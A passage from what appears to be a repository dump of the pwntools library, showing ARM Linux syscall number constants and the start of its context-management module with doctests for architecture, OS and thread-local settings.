Constant('SYS_inotify_init1',(0+360))\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(0+318))\nSYS_io_cancel = Constant('SYS_io_cancel',(0+247))\nSYS_ioctl = Constant('SYS_ioctl',(0+ 54))\nSYS_io_destroy = Constant('SYS_io_destroy',(0+244))\nSYS_io_getevents = Constant('SYS_io_getevents',(0+245))\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',(0 + 399))\nSYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',(0 + 416))\nSYS_ioprio_get = Constant('SYS_ioprio_get',(0+315))\nSYS_ioprio_set = Constant('SYS_ioprio_set',(0+314))\nSYS_io_setup = Constant('SYS_io_setup',(0+243))\nSYS_io_submit = Constant('SYS_io_submit',(0+246))\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',(0 + 426))\nSYS_io_uring_register = Constant('SYS_io_uring_register',(0 + 427))\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',(0 + 425))\nSYS_ipc = Constant('SYS_ipc',(0+117))\nSYS_kcmp = Constant('SYS_kcmp',(0+378))\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',(0 + 401))\nSYS_kexec_load = Constant('SYS_kexec_load',(0+347))\nSYS_keyctl = Constant('SYS_keyctl',(0+311))\nSYS_kill = Constant('SYS_kill',(0+ 37))\nSYS_lchown = Constant('SYS_lchown',(0+ 16))\nSYS_lchown32 = Constant('SYS_lchown32',(0+198))\nSYS_lgetxattr = Constant('SYS_lgetxattr',(0+230))\nSYS_link = Constant('SYS_link',(0+  9))\nSYS_linkat = Constant('SYS_linkat',(0+330))\nSYS_listen = Constant('SYS_listen',(0+284))\nSYS_listxattr = Constant('SYS_listxattr',(0+232))\nSYS_llistxattr = Constant('SYS_llistxattr',(0+233))\nSYS__llseek = Constant('SYS__llseek',(0+140))\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(0+249))\nSYS_lremovexattr = Constant('SYS_lremovexattr',(0+236))\nSYS_lseek = Constant('SYS_lseek',(0+ 19))\nSYS_lsetxattr = Constant('SYS_lsetxattr',(0+227))\nSYS_lstat = Constant('SYS_lstat',(0+107))\nSYS_lstat64 = Constant('SYS_lstat64',(0+196))\nSYS_madvise = Constant('SYS_madvise',(0+220))\nSYS_mbind = Constant('SYS_mbind',(0+319))\nSYS_membarrier = Constant('SYS_membarrier',(0+389))\nSYS_memfd_create = Constant('SYS_memfd_create',(0+385))\nSYS_migrate_pages = Constant('SYS_migrate_pages',(0 + 400))\nSYS_mincore = Constant('SYS_mincore',(0+219))\nSYS_mkdir = Constant('SYS_mkdir',(0+ 39))\nSYS_mkdirat = Constant('SYS_mkdirat',(0+323))\nSYS_mknod = Constant('SYS_mknod',(0+ 14))\nSYS_mknodat = Constant('SYS_mknodat',(0+324))\nSYS_mlock = Constant('SYS_mlock',(0+150))\nSYS_mlock2 = Constant('SYS_mlock2',(0+390))\nSYS_mlockall = Constant('SYS_mlockall',(0+152))\nSYS_mmap = Constant('SYS_mmap',(0+ 90))\nSYS_mmap2 = Constant('SYS_mmap2',(0+192))\nSYS_mount = Constant('SYS_mount',(0+ 21))\nSYS_move_mount = Constant('SYS_move_mount',(0 + 429))\nSYS_move_pages = Constant('SYS_move_pages',(0+344))\nSYS_mprotect = Constant('SYS_mprotect',(0+125))\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(0+279))\nSYS_mq_notify = Constant('SYS_mq_notify',(0+278))\nSYS_mq_open = Constant('SYS_mq_open',(0+274))\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(0+277))\nSYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',(0 + 419))\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',(0+276))\nSYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',(0 + 418))\nSYS_mq_unlink = Constant('SYS_mq_unlink',(0+275))\nSYS_mremap = Constant('SYS_mremap',(0+163))\nSYS_msgctl = Constant('SYS_msgctl',(0+304))\nSYS_msgget = Constant('SYS_msgget',(0+303))\nSYS_msgrcv = Constant('SYS_msgrcv',(0+302))\nSYS_msgsnd = Constant('SYS_msgsnd',(0+301))\nSYS_msync = Constant('SYS_msync',(0+144))\nSYS_munlock = Constant('SYS_munlock',(0+151))\nSYS_munlockall = Constant('SYS_munlockall',(0+153))\nSYS_munmap = Constant('SYS_munmap',(0+ 91))\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(0+370))\nSYS_nanosleep = Constant('SYS_nanosleep',(0+162))\nSYS__newselect = Constant('SYS__newselect',(0+142))\nSYS_nfsservctl = Constant('SYS_nfsservctl',(0+169))\nSYS_nice = Constant('SYS_nice',(0+ 34))\nSYS_OABI_SYSCALL_BASE = Constant('SYS_OABI_SYSCALL_BASE',0x900000)\nSYS_open = Constant('SYS_open',(0+  5))\nSYS_openat = Constant('SYS_openat',(0+322))\nSYS_openat2 = Constant('SYS_openat2',(0 + 437))\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(0+371))\nSYS_open_tree = Constant('SYS_open_tree',(0 + 428))\nSYS_pause = Constant('SYS_pause',(0+ 29))\nSYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',(0+271))\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',(0+272))\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',(0+273))\nSYS_perf_event_open = Constant('SYS_perf_event_open',(0+364))\nSYS_personality = Constant('SYS_personality',(0+136))\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(0 + 438))\nSYS_pidfd_open = Constant('SYS_pidfd_open',(0 + 434))\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(0 + 424))\nSYS_pipe = Constant('SYS_pipe',(0+ 42))\nSYS_pipe2 = Constant('SYS_pipe2',(0+359))\nSYS_pivot_root = Constant('SYS_pivot_root',(0+218))\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',(0 + 395))\nSYS_pkey_free = Constant('SYS_pkey_free',(0 + 396))\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(0 + 394))\nSYS_poll = Constant('SYS_poll',(0+168))\nSYS_ppoll_time64 = Constant('SYS_ppoll_time64',(0 + 414))\nSYS_prctl = Constant('SYS_prctl',(0+172))\nSYS_pread64 = Constant('SYS_pread64',(0+180))\nSYS_preadv = Constant('SYS_preadv',(0+361))\nSYS_preadv2 = Constant('SYS_preadv2',(0+392))\nSYS_prlimit64 = Constant('SYS_prlimit64',(0+369))\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',(0+376))\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',(0+377))\nSYS_pselect6_time64 = Constant('SYS_pselect6_time64',(0 + 413))\nSYS_ptrace = Constant('SYS_ptrace',(0+ 26))\nSYS_pwrite64 = Constant('SYS_pwrite64',(0+181))\nSYS_pwritev = Constant('SYS_pwritev',(0+362))\nSYS_pwritev2 = Constant('SYS_pwritev2',(0+393))\nSYS_quotactl = Constant('SYS_quotactl',(0+131))\nSYS_read = Constant('SYS_read',(0+  3))\nSYS_readahead = Constant('SYS_readahead',(0+225))\nSYS_readdir = Constant('SYS_readdir',(0+ 89))\nSYS_readlink = Constant('SYS_readlink',(0+ 85))\nSYS_readlinkat = Constant('SYS_readlinkat',(0+332))\nSYS_readv = Constant('SYS_readv',(0+145))\nSYS_reboot = Constant('SYS_reboot',(0+ 88))\nSYS_recv = Constant('SYS_recv',(0+291))\nSYS_recvfrom = Constant('SYS_recvfrom',(0+292))\nSYS_recvmmsg = Constant('SYS_recvmmsg',(0+365))\nSYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',(0 + 417))\nSYS_recvmsg = Constant('SYS_recvmsg',(0+297))\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',(0+253))\nSYS_removexattr = Constant('SYS_removexattr',(0+235))\nSYS_rename = Constant('SYS_rename',(0+ 38))\nSYS_renameat = Constant('SYS_renameat',(0+329))\nSYS_renameat2 = Constant('SYS_renameat2',(0+382))\nSYS_request_key = Constant('SYS_request_key',(0+310))\nSYS_restart_syscall = Constant('SYS_restart_syscall',(0+  0))\nSYS_rmdir = Constant('SYS_rmdir',(0+ 40))\nSYS_rseq = Constant('SYS_rseq',(0 + 398))\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',(0+174))\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',(0+176))\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(0+175))\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(0+178))\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(0+173))\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(0+179))\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(0+177))\nSYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',(0 + 421))\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(0+363))\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(0+242))\nSYS_sched_getattr = Constant('SYS_sched_getattr',(0+381))\nSYS_sched_getparam = Constant('SYS_sched_getparam',(0+155))\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(0+159))\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(0+160))\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(0+157))\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(0+161))\nSYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',(0 + 423))\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(0+241))\nSYS_sched_setattr = Constant('SYS_sched_setattr',(0+380))\nSYS_sched_setparam = Constant('SYS_sched_setparam',(0+154))\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(0+156))\nSYS_sched_yield = Constant('SYS_sched_yield',(0+158))\nSYS_seccomp = Constant('SYS_seccomp',(0+383))\nSYS_select = Constant('SYS_select',(0+ 82))\nSYS_semctl = Constant('SYS_semctl',(0+300))\nSYS_semget = Constant('SYS_semget',(0+299))\nSYS_semop = Constant('SYS_semop',(0+298))\nSYS_semtimedop = Constant('SYS_semtimedop',(0+312))\nSYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',(0 + 420))\nSYS_send = Constant('SYS_send',(0+289))\nSYS_sendfile = Constant('SYS_sendfile',(0+187))\nSYS_sendfile64 = Constant('SYS_sendfile64',(0+239))\nSYS_sendmmsg = Constant('SYS_sendmmsg',(0+374))\nSYS_sendmsg = Constant('SYS_sendmsg',(0+296))\nSYS_sendto = Constant('SYS_sendto',(0+290))\nSYS_setdomainname = Constant('SYS_setdomainname',(0+121))\nSYS_setfsgid = Constant('SYS_setfsgid',(0+139))\nSYS_setfsgid32 = Constant('SYS_setfsgid32',(0+216))\nSYS_setfsuid = Constant('SYS_setfsuid',(0+138))\nSYS_setfsuid32 = Constant('SYS_setfsuid32',(0+215))\nSYS_setgid = Constant('SYS_setgid',(0+ 46))\nSYS_setgid32 = Constant('SYS_setgid32',(0+214))\nSYS_setgroups = Constant('SYS_setgroups',(0+ 81))\nSYS_setgroups32 = Constant('SYS_setgroups32',(0+206))\nSYS_sethostname = Constant('SYS_sethostname',(0+ 74))\nSYS_setitimer = Constant('SYS_setitimer',(0+104))\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',(0+321))\nSYS_setns = Constant('SYS_setns',(0+375))\nSYS_setpgid = Constant('SYS_setpgid',(0+ 57))\nSYS_setpriority = Constant('SYS_setpriority',(0+ 97))\nSYS_setregid = Constant('SYS_setregid',(0+ 71))\nSYS_setregid32 = Constant('SYS_setregid32',(0+204))\nSYS_setresgid = Constant('SYS_setresgid',(0+170))\nSYS_setresgid32 = Constant('SYS_setresgid32',(0+210))\nSYS_setresuid = Constant('SYS_setresuid',(0+164))\nSYS_setresuid32 = Constant('SYS_setresuid32',(0+208))\nSYS_setreuid = Constant('SYS_setreuid',(0+ 70))\nSYS_setreuid32 = Constant('SYS_setreuid32',(0+203))\nSYS_setrlimit = Constant('SYS_setrlimit',(0+ 75))\nSYS_set_robust_list = Constant('SYS_set_robust_list',(0+338))\nSYS_setsid = Constant('SYS_setsid',(0+ 66))\nSYS_setsockopt = Constant('SYS_setsockopt',(0+294))\nSYS_set_tid_address = Constant('SYS_set_tid_address',(0+256))\nSYS_settimeofday = Constant('SYS_settimeofday',(0+ 79))\nSYS_setuid = Constant('SYS_setuid',(0+ 23))\nSYS_setuid32 = Constant('SYS_setuid32',(0+213))\nSYS_setxattr = Constant('SYS_setxattr',(0+226))\nSYS_shmat = Constant('SYS_shmat',(0+305))\nSYS_shmctl = Constant('SYS_shmctl',(0+308))\nSYS_shmdt = Constant('SYS_shmdt',(0+306))\nSYS_shmget = Constant('SYS_shmget',(0+307))\nSYS_shutdown = Constant('SYS_shutdown',(0+293))\nSYS_sigaction = Constant('SYS_sigaction',(0+ 67))\nSYS_sigaltstack = Constant('SYS_sigaltstack',(0+186))\nSYS_signalfd = Constant('SYS_signalfd',(0+349))\nSYS_signalfd4 = Constant('SYS_signalfd4',(0+355))\nSYS_sigpending = Constant('SYS_sigpending',(0+ 73))\nSYS_sigprocmask = Constant('SYS_sigprocmask',(0+126))\nSYS_sigreturn = Constant('SYS_sigreturn',(0+119))\nSYS_sigsuspend = Constant('SYS_sigsuspend',(0+ 72))\nSYS_socket = Constant('SYS_socket',(0+281))\nSYS_socketcall = Constant('SYS_socketcall',(0+102))\nSYS_socketpair = Constant('SYS_socketpair',(0+288))\nSYS_splice = Constant('SYS_splice',(0+340))\nSYS_stat = Constant('SYS_stat',(0+106))\nSYS_stat64 = Constant('SYS_stat64',(0+195))\nSYS_statfs = Constant('SYS_statfs',(0+ 99))\nSYS_statfs64 = Constant('SYS_statfs64',(0+266))\nSYS_statx = Constant('SYS_statx',(0 + 397))\nSYS_stime = Constant('SYS_stime',(0+ 25))\nSYS_swapoff = Constant('SYS_swapoff',(0+115))\nSYS_swapon = Constant('SYS_swapon',(0+ 87))\nSYS_symlink = Constant('SYS_symlink',(0+ 83))\nSYS_symlinkat = Constant('SYS_symlinkat',(0+331))\nSYS_sync = Constant('SYS_sync',(0+ 36))\nSYS_syncfs = Constant('SYS_syncfs',(0+373))\nSYS_syscall = Constant('SYS_syscall',(0+113))\nSYS_SYSCALL_BASE = Constant('SYS_SYSCALL_BASE',0)\nSYS__sysctl = Constant('SYS__sysctl',(0+149))\nSYS_sysfs = Constant('SYS_sysfs',(0+135))\nSYS_sysinfo = Constant('SYS_sysinfo',(0+116))\nSYS_syslog = Constant('SYS_syslog',(0+103))\nSYS_tee = Constant('SYS_tee',(0+342))\nSYS_tgkill = Constant('SYS_tgkill',(0+268))\nSYS_time = Constant('SYS_time',(0+ 13))\nSYS_timer_create = Constant('SYS_timer_create',(0+257))\nSYS_timer_delete = Constant('SYS_timer_delete',(0+261))\nSYS_timerfd = Constant('SYS_timerfd',(0+350))\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(0+354))\nSYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',(0 + 410))\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',(0+353))\nSYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',(0 + 411))\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(0+260))\nSYS_timer_gettime = Constant('SYS_timer_gettime',(0+259))\nSYS_timer_gettime64 = Constant('SYS_timer_gettime64',(0 + 408))\nSYS_timer_settime = Constant('SYS_timer_settime',(0+258))\nSYS_timer_settime64 = Constant('SYS_timer_settime64',(0 + 409))\nSYS_times = Constant('SYS_times',(0+ 43))\nSYS_tkill = Constant('SYS_tkill',(0+238))\nSYS_truncate = Constant('SYS_truncate',(0+ 92))\nSYS_truncate64 = Constant('SYS_truncate64',(0+193))\nSYS_ugetrlimit = Constant('SYS_ugetrlimit',(0+191))\nSYS_umask = Constant('SYS_umask',(0+ 60))\nSYS_umount = Constant('SYS_umount',(0+ 22))\nSYS_umount2 = Constant('SYS_umount2',(0+ 52))\nSYS_uname = Constant('SYS_uname',(0+122))\nSYS_unlink = Constant('SYS_unlink',(0+ 10))\nSYS_unlinkat = Constant('SYS_unlinkat',(0+328))\nSYS_unshare = Constant('SYS_unshare',(0+337))\nSYS_uselib = Constant('SYS_uselib',(0+ 86))\nSYS_userfaultfd = Constant('SYS_userfaultfd',(0+388))\nSYS_ustat = Constant('SYS_ustat',(0+ 62))\nSYS_utime = Constant('SYS_utime',(0+ 30))\nSYS_utimensat = Constant('SYS_utimensat',(0+348))\nSYS_utimensat_time64 = Constant('SYS_utimensat_time64',(0 + 412))\nSYS_utimes = Constant('SYS_utimes',(0+269))\nSYS_vfork = Constant('SYS_vfork',(0+190))\nSYS_vhangup = Constant('SYS_vhangup',(0+111))\nSYS_vmsplice = Constant('SYS_vmsplice',(0+343))\nSYS_vserver = Constant('SYS_vserver',(0+313))\nSYS_wait4 = Constant('SYS_wait4',(0+114))\nSYS_waitid = Constant('SYS_waitid',(0+280))\nSYS_write = Constant('SYS_write',(0+  4))\nSYS_writev = Constant('SYS_writev',(0+146))\n"
  },
  {
    "path": "pwnlib/context/__init__.py",
    "content": "\"\"\"\nImplements context management so that nested/scoped contexts and threaded\ncontexts work properly and as expected.\n\"\"\"\nimport atexit\nimport collections\nimport errno\nimport functools\nimport logging\nimport os\nimport os.path\nimport platform\nimport shutil\nimport socket\nimport string\nimport sys\nimport tempfile\nimport threading\nimport time\n\nimport socks\n\nfrom pwnlib.config import register_config\nfrom pwnlib.device import Device\nfrom pwnlib.timeout import Timeout\n\ntry:\n    from collections.abc import Iterable\nexcept ImportError:\n    from collections import Iterable\n\n__all__ = ['context', 'ContextType', 'Thread']\n\n_original_socket = socket.socket\n\nclass _devnull(object):\n    name = None\n    def write(self, *a, **kw): pass\n    def read(self, *a, **kw):  return ''\n    def flush(self, *a, **kw): pass\n    def close(self, *a, **kw): pass\n\nclass _defaultdict(dict):\n    \"\"\"\n    Dictionary which loads missing keys from another dictionary.\n\n    This is necessary because the ``default_factory`` method of\n    :class:`collections.defaultdict` does not provide the key.\n\n    Examples:\n\n        >>> a = {'foo': 'bar'}\n        >>> b = pwnlib.context._defaultdict(a)\n        >>> b['foo']\n        'bar'\n        >>> 'foo' in b\n        False\n        >>> b['foo'] = 'baz'\n        >>> b['foo']\n        'baz'\n        >>> del b['foo']\n        >>> b['foo']\n        'bar'\n\n        >>> a = {'foo': 'bar'}\n        >>> b = pwnlib.context._defaultdict(a)\n        >>> b['baz'] #doctest: +ELLIPSIS\n        Traceback (most recent call last):\n        ...\n        KeyError: 'baz'\n    \"\"\"\n    def __init__(self, default=None):\n        super(_defaultdict, self).__init__()\n        if default is None:\n            default = {}\n\n        self.default = default\n\n\n    def __missing__(self, key):\n        return self.default[key]\n\nclass _DictStack(object):\n    \"\"\"\n    Manages a dictionary-like object, permitting saving and restoring from\n    a stack of states via :func:`push` and :func:`pop`.\n\n    The underlying object used as ``default`` must implement ``copy``, ``clear``,\n    and ``update``.\n\n    Examples:\n\n        >>> t = pwnlib.context._DictStack(default={})\n        >>> t['key'] = 'value'\n        >>> t\n        {'key': 'value'}\n        >>> t.push()\n        >>> t\n        {'key': 'value'}\n        >>> t['key'] = 'value2'\n        >>> t\n        {'key': 'value2'}\n        >>> t.pop()\n        >>> t\n        {'key': 'value'}\n    \"\"\"\n    def __init__(self, default):\n        self._current = _defaultdict(default)\n        self.__stack  = []\n\n    def push(self):\n        self.__stack.append(self._current.copy())\n\n    def pop(self):\n        self._current.clear()\n        self._current.update(self.__stack.pop())\n\n    def copy(self):\n        return self._current.copy()\n\n    # Pass-through container emulation routines\n    def __len__(self):              return self._current.__len__()\n    def __delitem__(self, k):       return self._current.__delitem__(k)\n    def __getitem__(self, k):       return self._current.__getitem__(k)\n    def __setitem__(self, k, v):    return self._current.__setitem__(k, v)\n    def __contains__(self, k):      return self._current.__contains__(k)\n    def __iter__(self):             return self._current.__iter__()\n    def __repr__(self):             return self._current.__repr__()\n    def __eq__(self, other):        return self._current.__eq__(other)\n\n    # Required for keyword expansion operator ** to work\n    def keys(self):                 return self._current.keys()\n    def values(self):               return self._current.values()\n    def items(self):                return self._current.items()\n\n\nclass _Tls_DictStack(threading.local, _DictStack):\n    \"\"\"\n    Per-thread implementation of :class:`_DictStack`.\n\n    Examples:\n\n        >>> t = pwnlib.context._Tls_DictStack({})\n        >>> t['key'] = 'value'\n        >>> print(t)\n        {'key': 'value'}\n        >>> def p(): print(t)\n        >>> thread = threading.Thread(target=p)\n        >>> _ = (thread.start(), thread.join())\n        {}\n    \"\"\"\n    pass\n\n\ndef _validator(validator):\n    \"\"\"\n    Validator that is tightly coupled to the implementation\n    of the classes here.\n\n    This expects that the object has a ._tls property which\n    is of type _DictStack.\n    \"\"\"\n\n    name = validator.__name__\n    doc  = validator.__doc__\n\n    def fget(self):\n        return self._tls[name]\n\n    def fset(self, val):\n        self._tls[name] = validator(self, val)\n\n    def fdel(self):\n        self._tls._current.pop(name,None)\n\n    return property(fget, fset, fdel, doc)\n\nclass Thread(threading.Thread):\n    \"\"\"\n    Instantiates a context-aware thread, which inherit its context when it is\n    instantiated. The class can be accessed both on the context module as\n    `pwnlib.context.Thread` and on the context singleton object inside the\n    context module as `pwnlib.context.context.Thread`.\n\n    Threads created by using the native :class`threading`.Thread` will have a\n    clean (default) context.\n\n    Regardless of the mechanism used to create any thread, the context\n    is de-coupled from the parent thread, so changes do not cascade\n    to child or parent.\n\n    Saves a copy of the context when instantiated (at ``__init__``)\n    and updates the new thread's context before passing control\n    to the user code via ``run`` or ``target=``.\n\n    Examples:\n\n        >>> context.clear()\n        >>> context.update(arch='arm')\n        >>> def p():\n        ...     print(context.arch)\n        ...     context.arch = 'mips'\n        ...     print(context.arch)\n        >>> # Note that a normal Thread starts with a clean context\n        >>> # (i386 is the default architecture)\n        >>> t = threading.Thread(target=p)\n        >>> _=(t.start(), t.join())\n        i386\n        mips\n        >>> # Note that the main Thread's context is unchanged\n        >>> print(context.arch)\n        arm\n        >>> # Note that a context-aware Thread receives a copy of the context\n        >>> t = pwnlib.context.Thread(target=p)\n        >>> _=(t.start(), t.join())\n        arm\n        mips\n        >>> # Again, the main thread is unchanged\n        >>> print(context.arch)\n        arm\n\n    Implementation Details:\n\n        This class implemented by hooking the private function\n        :func:`threading.Thread._Thread_bootstrap`, which is called before\n        passing control to :func:`threading.Thread.run`.\n\n        This could be done by overriding ``run`` itself, but we would have to\n        ensure that all uses of the class would only ever use the keyword\n        ``target=`` for ``__init__``, or that all subclasses invoke\n        ``super(Subclass.self).set_up_context()`` or similar.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        super(Thread, self).__init__(*args, **kwargs)\n        self.old = context.copy()\n\n    def __bootstrap(self):\n        \"\"\"\n        Implementation Details:\n            This only works because the class is named ``Thread``.\n            If its name is changed, we have to implement this hook\n            differently.\n        \"\"\"\n        context.update(**self.old)\n        sup = super(Thread, self)\n        bootstrap = getattr(sup, '_bootstrap', None)\n        if bootstrap is None:\n            sup.__bootstrap()\n        else:\n            bootstrap()\n    _bootstrap = __bootstrap\n\ndef _longest(d):\n    \"\"\"\n    Returns an OrderedDict with the contents of the input dictionary ``d``\n    sorted by the length of the keys, in descending order.\n\n    This is useful for performing substring matching via ``str.startswith``,\n    as it ensures the most complete match will be found.\n\n    >>> data = {'a': 1, 'bb': 2, 'ccc': 3}\n    >>> pwnlib.context._longest(data) == data\n    True\n    >>> for i in pwnlib.context._longest(data):\n    ...     print(i)\n    ccc\n    bb\n    a\n    \"\"\"\n    return collections.OrderedDict((k,d[k]) for k in sorted(d, key=len, reverse=True))\n\nclass ContextType(object):\n    r\"\"\"\n    Class for specifying information about the target machine.\n    Intended for use as a pseudo-singleton through the global\n    variable :data:`.context`, available via\n    ``from pwn import *`` as ``context``.\n\n    The context is usually specified at the top of the Python file for clarity. ::\n\n        #!/usr/bin/env python3\n        context.update(arch='i386', os='linux')\n\n    Currently supported properties and their defaults are listed below.\n    The defaults are inherited from :data:`pwnlib.context.ContextType.defaults`.\n\n    Additionally, the context is thread-aware when using\n    :class:`pwnlib.context.Thread` instead of :class:`threading.Thread`\n    (all internal ``pwntools`` threads use the former).\n\n    The context is also scope-aware by using the ``with`` keyword.\n\n    Examples:\n\n        >>> context.clear()\n        >>> context.update(os='linux') # doctest: +ELLIPSIS\n        >>> context.os == 'linux'\n        True\n        >>> context.arch = 'arm'\n        >>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux', 'newline': b'\\n'}\n        True\n        >>> context.endian\n        'little'\n        >>> context.bits\n        32\n\n    .. doctest::\n        :options: +POSIX +TODO\n\n        >>> def nop():\n        ...   print(enhex(pwnlib.asm.asm('nop')))\n        >>> nop()\n        00f020e3\n        >>> with context.local(arch = 'i386'):\n        ...   nop()\n        90\n        >>> from pwnlib.context import Thread as PwnThread\n        >>> from threading      import Thread as NormalThread\n        >>> with context.local(arch = 'mips'):\n        ...     pwnthread = PwnThread(target=nop)\n        ...     thread    = NormalThread(target=nop)\n        >>> # Normal thread uses the default value for arch, 'i386'\n        >>> _=(thread.start(), thread.join())\n        90\n        >>> # Pwnthread uses the correct context from creation-time\n        >>> _=(pwnthread.start(), pwnthread.join())\n        00000000\n        >>> nop()\n        00f020e3\n    \"\"\"\n\n    #\n    # Use of 'slots' is a heavy-handed way to prevent accidents\n    # like 'context.architecture=' instead of 'context.arch='.\n    #\n    # Setting any properties on a ContextType object will throw an\n    # exception.\n    #\n    __slots__ = '_tls',\n\n    #: Default values for :class:`pwnlib.context.ContextType`\n    defaults = {\n        'adb_host': 'localhost',\n        'adb_port': 5037,\n        'arch': 'i386',\n        'aslr': True,\n        'binary': None,\n        'bits': 32,\n        'buffer_size': 4096,\n        'cache_dir_base': os.environ.get(\n            'XDG_CACHE_HOME',\n            os.path.join(os.path.expanduser('~'), '.cache')\n        ),\n        'cyclic_alphabet': string.ascii_lowercase.encode(),\n        'cyclic_size': 4,\n        'delete_corefiles': False,\n        'disable_corefiles': False,\n        'device': os.getenv('ANDROID_SERIAL', None) or None,\n        'encoding': 'auto',\n        'endian': 'little',\n        'gdbinit': \"\",\n        'gdb_binary': \"\",\n        'kernel': None,\n        'local_libcdb': \"/var/lib/libc-database\",\n        'log_level': logging.INFO,\n        'log_file': _devnull(),\n        'log_console': sys.stdout,\n        'randomize': False,\n        'rename_corefiles': True,\n        'newline': b'\\n',\n        'throw_eof_on_incomplete_line': None,\n        'noptrace': False,\n        'os': 'linux',\n        'proxy': None,\n        'ssh_session': None,\n        'signed': False,\n        'terminal': tuple(),\n        'timeout': Timeout.maximum,\n    }\n\n    unix_like    = {'newline': b'\\n'}\n    windows_like = {'newline': b'\\r\\n'}\n\n    #: Keys are valid values for :meth:`pwnlib.context.ContextType.os`\n    oses = _longest({\n        'linux':     unix_like,\n        'freebsd':   unix_like,\n        'windows':   windows_like,\n        'cgc':       unix_like,\n        'android':   unix_like,\n        'baremetal': unix_like,\n        'darwin':    unix_like,\n    })\n\n    big_32    = {'endian': 'big', 'bits': 32}\n    big_64    = {'endian': 'big', 'bits': 64}\n    little_8  = {'endian': 'little', 'bits': 8}\n    little_16 = {'endian': 'little', 'bits': 16}\n    little_32 = {'endian': 'little', 'bits': 32}\n    little_64 = {'endian': 'little', 'bits': 64}\n\n    #: Keys are valid values for :meth:`pwnlib.context.ContextType.arch`.\n    #\n    #: Values are defaults which are set when\n    #: :attr:`pwnlib.context.ContextType.arch` is set\n    architectures = _longest({\n        'aarch64':   little_64,\n        'alpha':     little_64,\n        'avr':       little_8,\n        'amd64':     little_64,\n        'arm':       little_32,\n        'cris':      little_32,\n        'i386':      little_32,\n        'ia64':      big_64,\n        'm68k':      big_32,\n        'mips':      little_32,\n        'mips64':    little_64,\n        'msp430':    little_16,\n        'powerpc':   big_32,\n        'powerpc64': big_64,\n        'riscv32':   little_32,\n        'riscv64':   little_64,\n        'loongarch64':   little_64,\n        's390':      big_32,\n        'sparc':     big_32,\n        'sparc64':   big_64,\n        'thumb':     little_32,\n        'vax':       little_32,\n        'none':      {},\n    })\n\n    #: Valid values for :attr:`endian`\n    endiannesses = _longest({\n        'be':     'big',\n        'eb':     'big',\n        'big':    'big',\n        'le':     'little',\n        'el':     'little',\n        'little': 'little'\n    })\n\n    #: Valid string values for :attr:`signed`\n    signednesses = {\n        'unsigned': False,\n        'no':       False,\n        'yes':      True,\n        'signed':   True\n    }\n\n    valid_signed = sorted(signednesses)\n\n    def __init__(self, **kwargs):\n        \"\"\"\n        Initialize the ContextType structure.\n\n        All keyword arguments are passed to :func:`update`.\n        \"\"\"\n        self._tls = _Tls_DictStack(_defaultdict(self.defaults))\n        self.update(**kwargs)\n\n\n    def copy(self):\n        r\"\"\"copy() -> dict\n        Returns a copy of the current context as a dictionary.\n\n        Examples:\n\n            >>> context.clear()\n            >>> context.os   = 'linux'\n            >>> vars(context) == {'os': 'linux', 'newline': b'\\n'}\n            True\n        \"\"\"\n        return self._tls.copy()\n\n\n    @property\n    def __dict__(self):\n        return self.copy()\n\n    def update(self, *args, **kwargs):\n        \"\"\"\n        Convenience function, which is shorthand for setting multiple\n        variables at once.\n\n        It is a simple shorthand such that::\n\n            context.update(os = 'linux', arch = 'arm', ...)\n\n        is equivalent to::\n\n            context.os   = 'linux'\n            context.arch = 'arm'\n            ...\n\n        The following syntax is also valid::\n\n            context.update({'os': 'linux', 'arch': 'arm'})\n\n        Arguments:\n          kwargs: Variables to be assigned in the environment.\n\n        Examples:\n\n            >>> context.clear()\n            >>> context.update(arch = 'i386', os = 'linux')\n       